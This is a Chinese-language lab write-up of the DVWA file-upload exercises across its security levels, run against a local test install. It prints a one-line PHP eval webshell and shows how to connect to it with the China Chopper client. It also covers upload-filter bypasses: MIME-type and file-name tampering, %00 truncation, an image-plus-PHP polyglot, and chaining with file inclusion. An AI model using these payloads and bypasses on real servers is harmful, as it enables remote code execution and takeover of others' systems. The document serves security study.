一句話木馬
<?php
@eval($_POST['key']);
?>
/*eval(
phpcode)
eval() 函數把字符串按照 PHP 代碼來計算。
該字符串必須是合法的 PHP 代碼,且必須以分號結尾。*/
通常是由於對上傳文件的類型、內容沒有進行嚴格的過濾、檢查,使得攻擊者可以通過上傳木馬獲取服務器的webshell權限,因此文件上傳漏洞帶來的危害常常是毀滅性的,Apache、Tomcat、Nginx等都曝出過文件上傳漏洞。
Low
basename(path,suffix)
函數返回路徑中的文件名部分,如果可選參數suffix為空,則返回的文件名包含后綴名,反之不包含后綴名。
我們看到服務器對上傳的文件類型、內容或是文件大小都沒有做任何的檢查、過濾,存在明顯的文件上傳漏洞,生成上傳路徑后,服務器會檢查是否上傳成功並返回相應提示信息。
這段代碼的核心就是驗證是否有接收文件($_POST[‘Upload’])
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
DVWA_WEB_PAGE_TO_ROOT=E:\phpStudy2019_64\phpstudy_pro\WWW\DVWA
$target_path=E:\phpStudy2019_64\phpstudy_pro\WWW\DVWA/hackable/uploads/
因此最終你上傳的文件的最終路徑為:
$target_path=E:\phpStudy2019_64\phpstudy_pro\WWW\DVWA\hackable\uploads/123.jpg
123.jpg就是你要上傳的目標文件。
漏洞利用
文件上傳漏洞的利用條件:
1.能夠成功上傳木馬文件
2.上傳文件必須能夠被執行
3.上傳文件的路徑必須可知
上傳一句話木馬

上傳成功,並返回上傳路徑

打開中國菜刀,右鍵添加,

(這個url想了一會兒,兩個../返回上級,回到了127.0.0.1/dvwa/)

然后菜刀就會通過向服務器發送包含key參數的post請求,在服務器上執行任意命令,獲取webshell權限。可以下載、修改服務器的所有文件。

還可以打開服務器的虛擬終端。
Medium
Medium級別的代碼對上傳文件的類型、大小做了限制,要求文件類型必須是jpeg或者png,大小不能超過100000B(約為97.6KB)。
漏洞利用
1.組合拳(文件包含+文件上傳)
嘗試修改文件名為hack.png,成功。

啟用中國菜刀。不幸的是,雖然成功上傳了文件,但是並不能成功獲取webshell權限,在菜刀上無論進行什么操作都會返回如下信息。

中國菜刀的原理是向上傳文件發送包含key參數的post請求,通過控制key參數來執行不同的命令,而這里服務器將木馬文件解析成了圖片文件,因此向其發送post請求時,服務器只會返回這個“圖片”文件,並不會執行相應命令。
那么如何讓服務器將其解析為php文件呢?可以借助Medium級別的文件包含漏洞來獲取webshell權限,打開中國菜刀,右鍵添加,在地址欄中輸入
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/dvwa/hackable/uploads/hack.png
我不知道為什么連不上?!但是文件包含+文件上傳組合拳的思路很值得學習。
2.抓包修改文件類型type
上傳hack.png文件,抓包。

可以看到文件類型為image/png,嘗試修改filename為hack.php。成功。菜刀獲取到webshell。
3.%00截斷繞過規則
在php版本小於5.3.4的服務器中,當Magic_quote_gpc選項為off時,我們可以在文件名中使用%00進行截斷,可以把上傳文件命名為hack.php%00.jpg。 因為 后綴是合法的.jpg格式,所以可以正常上傳。
方法一:
在php<5.3.4中,處理字符串的函數認為0x00是終止符。那么我們可以利用 00截斷 漏洞來上傳我們的一句話木馬。網站上傳函數處理1.php%00.jpg時,首先后綴名是合法的jpg格式,可以上傳,在保存文件時,使用burpsuite進行包攔截,找到上傳的路徑,把文件名改為 1.php[空格].jpg ,十六進制查看,空格的十六進制代碼為20,將其修改為 00。后端在判斷文件后綴名的時候遇到%00字符丟棄后面的jpg,文件后綴最終保存的后綴 名為 1.php。然后我們就可以用我們的菜刀連接了。
方法二:%00在burp中url解碼

High
strrpos(string,find,start)
函數返回字符串find在另一字符串string中最后一次出現的位置,如果沒有找到字符串則返回false,可選參數start規定在何處開始搜索。
getimagesize(string filename)
函數會通過讀取文件頭,返回圖片的長、寬等信息,如果沒有相關的圖片文件頭,函數會報錯。
可以看到,High級別的代碼讀取文件名中最后一個”.”后的字符串,期望通過文件名來限制文件類型,因此要求上傳文件名形式必須是”*.jpg”、”*.jpeg” 、”*.png”之一。同時,getimagesize函數更是限制了上傳文件的文件頭必須為圖像類型。
漏洞利用
發現上傳不了,因為僅僅后綴是圖片格式的還不行,文件內容必須還得是圖片格式的。
用copy /b 2.jpg + hack.php test.jpg

上傳test.jpg成功,但是jpg后綴菜刀不能直接連接,必須要讓他php解析。
可以利用DVWA的文件包含漏洞,讓我們的圖片格式的一句話木馬以php格式運行。
url:

驗證:用記事本或winhex打開,底部發現有一句話木馬。
不知道為什么,火狐可以打開url,谷歌瀏覽器ERROR: File not found!。Cknife和中國菜刀都連接不上,也是找不到文件。
Impossible
對上傳文件進行了重命名(md5),加入Anti-CSRF token防護CSRF攻擊,同時對文件的內容作了嚴格的檢查,導致攻擊者無法上傳含有惡意腳本的文件。